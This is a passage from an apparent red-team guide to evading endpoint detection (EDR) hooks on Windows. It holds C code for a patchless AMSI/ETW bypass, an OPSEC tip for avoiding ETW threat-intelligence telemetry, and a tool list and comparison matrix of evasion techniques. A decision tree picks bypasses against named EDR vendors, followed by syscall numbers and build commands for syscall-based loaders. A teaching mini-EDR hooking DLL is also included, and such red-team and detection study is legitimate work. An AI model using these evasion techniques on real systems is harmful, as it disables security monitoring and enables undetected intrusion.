printf("[+] amsi.dll bytes: UNMODIFIED (stealthy)\n");
printf("[+] ntdll.dll bytes: UNMODIFIED (stealthy)\n");
return TRUE;
}
// ── Remove bypass (cleanup) ───────────────────────────────────
BOOL remove_patchless_bypass(PVOID veh_handle) {
HANDLE hThread = GetCurrentThread();
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
if (GetThreadContext(hThread, &ctx)) {
ctx.Dr0 = 0; ctx.Dr1 = 0;
ctx.Dr2 = 0; ctx.Dr3 = 0;
ctx.Dr7 = 0;
SetThreadContext(hThread, &ctx);
}
RemoveVectoredExceptionHandler(veh_handle);
printf("[*] Patchless bypass removed\n");
return TRUE;
}
[OPSEC] ETW-TI (Threat Intelligence provider) monitoring: Setting debug registers via SetThreadContext / NtSetContextThread generates events captured by the ETW Threat Intelligence provider. Use NtContinue instead of SetThreadContext to set breakpoints stealthily — NtContinue doesn't fire ETW-TI events.
[TOOL] Reference: https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass (Turla Kazuar v3 technique)
17. Building a Mini EDR (Hook Your Own Process)
What it means: Building a minimal EDR DLL teaches you exactly how hooks work from the EDR's perspective. This is the best learning exercise — hook your own process, inspect calls, understand the mechanism, then apply the knowledge to bypasses.
17.1 Minimal EDR DLL (Detours Library)
// mini_edr.cpp — Minimal EDR DLL using Microsoft Detours
// Hooks NtAllocateVirtualMemory in the target process
// Compile: cl.exe /nologo /W0 mini_edr.cpp /MT /link
// /DLL detours\lib.X64\detours.lib /OUT:mini_edr.dll
#include <windows.h>
#include <detours.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)(
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
// ── Original function pointers (saved by Detours) ──────────────
static pNtAllocateVirtualMemory origNtAllocateVirtualMemory = NULL;
static pNtWriteVirtualMemory origNtWriteVirtualMemory = NULL;
// ── Hook handler: NtAllocateVirtualMemory ─────────────────────
NTSTATUS NTAPI hook_NtAllocateVirtualMemory(
HANDLE ProcessHandle, PVOID* BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect)
{
printf("[HOOK] NtAllocateVirtualMemory called\n");
printf(" Process: 0x%p | Size: 0x%zx | Protect: 0x%lx\n",
ProcessHandle, *RegionSize, Protect);
// RWX allocation = classic shellcode loader IOC
if (Protect & PAGE_EXECUTE_READWRITE) {
printf("[ALERT] RWX allocation — suspicious!\n");
// To block: return STATUS_ACCESS_DENIED;
}
// Remote process allocation = injection attempt
if (ProcessHandle != GetCurrentProcess() &&
ProcessHandle != (HANDLE)-1) {
printf("[ALERT] Remote process allocation — possible injection!\n");
}
// Allow — call original
return origNtAllocateVirtualMemory(
ProcessHandle, BaseAddress, ZeroBits,
RegionSize, AllocationType, Protect
);
}
// ── Hook handler: NtWriteVirtualMemory ────────────────────────
NTSTATUS NTAPI hook_NtWriteVirtualMemory(
HANDLE ProcessHandle, PVOID BaseAddress,
PVOID Buffer, SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten)
{
printf("[HOOK] NtWriteVirtualMemory called\n");
printf(" Target: 0x%p | Size: 0x%zx\n", BaseAddress, NumberOfBytesToWrite);
if (ProcessHandle != GetCurrentProcess())
printf("[ALERT] Write to remote process — injection!\n");
return origNtWriteVirtualMemory(
ProcessHandle, BaseAddress, Buffer,
NumberOfBytesToWrite, NumberOfBytesWritten
);
}
// ── DllMain — install/remove hooks ────────────────────────────
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (reason == DLL_PROCESS_ATTACH) {
// ── Install hooks via Detours ──────────────────────────
origNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)
GetProcAddress(ntdll, "NtAllocateVirtualMemory");
origNtWriteVirtualMemory = (pNtWriteVirtualMemory)
GetProcAddress(ntdll, "NtWriteVirtualMemory");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)origNtAllocateVirtualMemory,
hook_NtAllocateVirtualMemory);
DetourAttach(&(PVOID&)origNtWriteVirtualMemory,
hook_NtWriteVirtualMemory);
DetourTransactionCommit();
printf("[*] Mini EDR DLL loaded — hooks installed\n");
}
if (reason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)origNtAllocateVirtualMemory,
hook_NtAllocateVirtualMemory);
DetourDetach(&(PVOID&)origNtWriteVirtualMemory,
hook_NtWriteVirtualMemory);
DetourTransactionCommit();
}
return TRUE;
}
17.2 Inject Mini EDR via LoadLibrary
# Build mini_edr.dll (MSVC with Detours)
cl.exe /nologo /W0 mini_edr.cpp /MT /link ^
/DLL detours\lib.X64\detours.lib /OUT:mini_edr.dll
# Inject into a process (PowerShell / C injector)
# Or use: Invoke-DllInjection from PowerSploit
# Or: rundll32.exe to load it in a test process
18. Tools Reference
| Tool | Purpose | Link |
|---|---|---|
| SysWhispers3 | Syscall stub generator (Hell's/Halo's/indirect) | https://github.com/klezVirus/SysWhispers3 |
| Hell's Gate | Dynamic SSN resolution | https://github.com/am0nsec/HellsGate |
| RefleXXion | ntdll unhooking via NtOpenSection | https://github.com/dobin/RefleXXion |
| ThreadStackSpoofer | Sleep-time stack spoofing | https://github.com/mgeeky/ThreadStackSpoofer |
| SilentMoonwalk | Active call-time stack spoofing | https://github.com/klezVirus/SilentMoonwalk |
| CallStackSpoofer | Synthetic frame stack spoofer | https://github.com/WithSecureLabs/CallStackSpoofer |
| DarkWidow | APC injection + stack spoofing | https://github.com/reveng007/DarkWidow |
| PatchlessEtwAndAmsiBypass | HW breakpoint AMSI/ETW bypass | https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass |
| Detours | Microsoft library for API hooking | https://github.com/microsoft/Detours |
| EDRs (hook lists) | Per-EDR hooked API lists | https://github.com/Mr-Un1k0d3r/EDRs |
| hook_finder64 | Detect hooked ntdll functions | (see EDRs repo above) |
| ProtectMyTooling | Multi-layer evasion chaining | https://github.com/mgeeky/ProtectMyTooling |
| Inceptor | Template-based EDR-bypass packer | https://github.com/klezVirus/inceptor |
| MorphKatz | x64 polymorphic code mutator | https://github.com/gmh5225/MorphKatz |
19. Comparison Matrix
| Technique | Stealthiness | Complexity | Defeats Hook? | Defeats Stack Walk? | Defeats ETW? | Detected By |
|---|---|---|---|---|---|---|
| ntdll Unhook (disk) | Low | Low | ✓ ALL hooks | ✗ | ✗ | File I/O telemetry, VirtualProtect on ntdll |
| ntdll Unhook (KnownDlls) | Medium | Medium | ✓ ALL hooks | ✗ | ✗ | VirtualProtect on ntdll .text |
| Perun's Fart | Medium | Medium | ✓ ALL hooks | ✗ | ✗ | Process creation, ReadProcessMemory |
| Direct Syscalls | Low | Low | ✓ Inline hooks | ✗ | ✗ | syscall from non-ntdll memory |
| Hell's Gate | Medium | Medium | ✓ inline hooks | ✗ | ✗ | YARA on SSN resolution code |
| Indirect Syscalls | High | Medium | ✓ inline hooks | Partial | ✗ | Stack frame before ntdll |
| Call Stack Spoofing | Very High | High | ✗ (needs other) | ✓ | ✗ | Unwind info analysis |
| AMSI Patch (bytes) | Low | Low | — | — | — | amsi.dll hash mismatch |
| AMSI Reflection | Medium | Low | — | — | — | PowerShell script block logging |
| ETW Patch (bytes) | Low | Low | — | — | ✓ | ntdll hash mismatch |
| HW Breakpoint + VEH | Very High | High | ✓ AMSI/ETW | — | ✓ | ETW-TI (if SetThreadContext used) |
| Indirect SC + Stack Spoof | Excellent | Very High | ✓ | ✓ | ✗ | Kernel callbacks (ETWTI, kernel) |
20. Cheat Sheet
Quick Hook Detection
# Check if ntdll functions are hooked (Python, Windows)
python3 hook_check.py
# or compile: hook_detector.c → hook_detector.exe
# From terminal — check EDR hooks with hook_finder64
hook_finder64.exe C:\Windows\System32\ntdll.dll
# PowerShell one-liner to detect E9 hooks
$ntdll=[System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.Location -like "*ntdll*" })
# (simplified — use full hook_check.py for real enumeration)
Bypass Selection Decision Tree
EDR Hooks Detected in ntdll?
│
├─ CTF / learning / minimal EDR?
│ └─ ntdll Unhook (disk) → most straightforward
│
├─ Mid-tier EDR (Carbon Black / Cylance)?
│ ├─ ntdll Unhook via KnownDlls
│ └─ Direct Syscalls (Hell's Gate for dynamic SSN)
│
├─ Tier-1 EDR (CrowdStrike / SentinelOne) — userland only?
│ ├─ Indirect Syscalls (SysWhispers3)
│ └─ + Call Stack Spoofing (SilentMoonwalk)
│
├─ Tier-1 EDR + memory scanning?
│ ├─ Patchless AMSI/ETW bypass (HW Breakpoints + VEH)
│ │ + use NtContinue (not SetThreadContext) to avoid ETW-TI
│ └─ Indirect Syscalls + Stack Spoofing
│
├─ Need to run C# / PowerShell tools?
│ ├─ Patch AMSI first (patchless preferred)
│ └─ Patch ETW (patchless preferred)
│
└─ APT simulation — maximum stealth?
└─ Perun's Fart unhooking (no disk I/O)
+ Indirect Syscalls (SysWhispers3)
+ Active Stack Spoofing (SilentMoonwalk)
+ Patchless AMSI/ETW (NtContinue method)
+ Sleep obfuscation (Ekko/Gargoyle — heap encrypt during sleep)
SSN Reference (Windows 10 22H2 / Windows 11 22H2 x64)
Function SSN (hex) SSN (dec)
──────────────────────────────────────────────────────────
NtAllocateVirtualMemory 0x18 24
NtWriteVirtualMemory 0x3A 58
NtCreateThreadEx 0xC2 194
NtProtectVirtualMemory 0x50 80
NtOpenProcess 0x26 38
NtReadVirtualMemory 0x3F 63
NtQueueApcThread 0x44 68
NtCreateFile 0x55 85
NtMapViewOfSection 0x28 40
NtUnmapViewOfSection 0x2A 42
NtSetContextThread 0xFB 251
NtSuspendProcess 0x17F 383
LdrLoadDll N/A (not a syscall — user-mode only)
⚠ SSNs change between Windows versions and even minor updates.
Always use Hell's/Halo's/Tartarus' Gate for runtime resolution.
NEVER hardcode SSNs in production red team tooling.
Common Hook Byte Signatures
Clean ntdll Nt* stub (intact — NOT hooked):
4C 8B D1 mov r10, rcx
B8 xx 00 00 00 mov eax, <SSN>
0F 05 syscall
C3 ret
Near JMP hook (E9 — most common EDR hook):
E9 xx xx xx xx jmp <EDR_handler>
00 00 00 00 (remainder of moved bytes)
0F 05 syscall (still present — never reached)
C3 ret
Absolute indirect JMP (FF 25 — 14-byte hook):
FF 25 00 00 00 00 jmp [rip+0]
xx xx xx xx xx xx .quad <EDR_handler>
INT3 hook (CC — breakpoint hook):
CC int3 (fires exception → EDR exception handler)
8B D1 ...
Push/Ret hook (68 / C3):
68 xx xx xx xx push <addr_low>
C7 44 24 04 xx mov dword ptr [rsp+4], <addr_high>
C3 ret
Build Commands
# Compile C code (Windows targets, Linux host):
x86_64-w64-mingw32-gcc unhook_disk.c -o unhook_disk.exe -lntdll
# Compile with SysWhispers3 stubs (MinGW):
python syswhispers.py --functions NtAllocateVirtualMemory,\
NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,\
NtOpenProcess --out-file syscalls --compiler mingw
x86_64-w64-mingw32-gcc loader.c syscalls.c -o loader.exe
# Compile MASM stubs (MSVC):
ml64 /c syscalls.asm
cl.exe loader.c syscalls.c syscalls.obj /Fe:loader.exe /link ntdll.lib
# Compile mini EDR DLL (MSVC + Detours):
cl.exe /nologo mini_edr.cpp /MT /link ^
/DLL detours\lib.X64\detours.lib /OUT:mini_edr.dll
MITRE ATT&CK Mapping
| Technique | ATT&CK ID | Description |
|---|---|---|
| ntdll Unhooking | T1562.001 | Impair Defenses: Disable or Modify Tools |
| Direct / Indirect Syscalls | T1055 | Process Injection (evasion sub-technique) |
| AMSI Bypass | T1562.001 | Impair Defenses: Disable or Modify Tools |
| ETW Patching | T1562.006 | Impair Defenses: Indicator Blocking |
| Stack Spoofing | T1036 | Masquerading (hiding execution context) |
| Process Injection (via hooks) | T1055 | Process Injection |
| HW Breakpoint + VEH | T1562.001 | Patchless variant of impair defenses |
References & Further Reading
Blogs & Write-ups: - MalwareTech — Introduction to Bypassing User Mode EDR Hooks: https://malwaretech.com/2023/12/an-introduction-to-bypassing-user-mode-edr-hooks.html - 0xdbgman — EDR Tradecraft Internals, Detection, Evasion: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ - BenjiTrapp — Hunting the Watchers (hook detection): https://benjitrapp.github.io/attacks/2026-06-19-edr-hook-detection/ - RobinX0 — Userland EDR Bypass Stack: https://robinx0.github.io/blogs/edr-bypass/userland-edr-bypass-stack/ - Sektor7 — Perun's Fart: https://dosxuz.gitlab.io/post/perunsfart/ - CrowdStrike — Patchless AMSI Bypass via VEH²: https://www.crowdstrike.com/en-us/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/ - HADESS — EDR Evasion Techniques Using Syscalls: https://hadess.io/edr-evasion-techniques-using-syscalls/
EDR Hook Lists (per vendor): - https://github.com/Mr-Un1k0d3r/EDRs (CrowdStrike, SentinelOne, Carbon Black, Sophos, etc.)
Key Tools: - SysWhispers3: https://github.com/klezVirus/SysWhispers3 - Hell's Gate: https://github.com/am0nsec/HellsGate - RefleXXion: https://github.com/dobin/RefleXXion - ThreadStackSpoofer: https://github.com/mgeeky/ThreadStackSpoofer - SilentMoonwalk: https://github.com/klezVirus/SilentMoonwalk - PatchlessEtwAndAmsiBypass: https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass
Videos / Courses: - Sektor7 — Red Team Operator: Malware Development (maldev.sektor7.net) - DEF CON 31 Workshop — "(In)direct Syscalls: A Journey from High to Low" - Red Team Notes — https://www.ired.team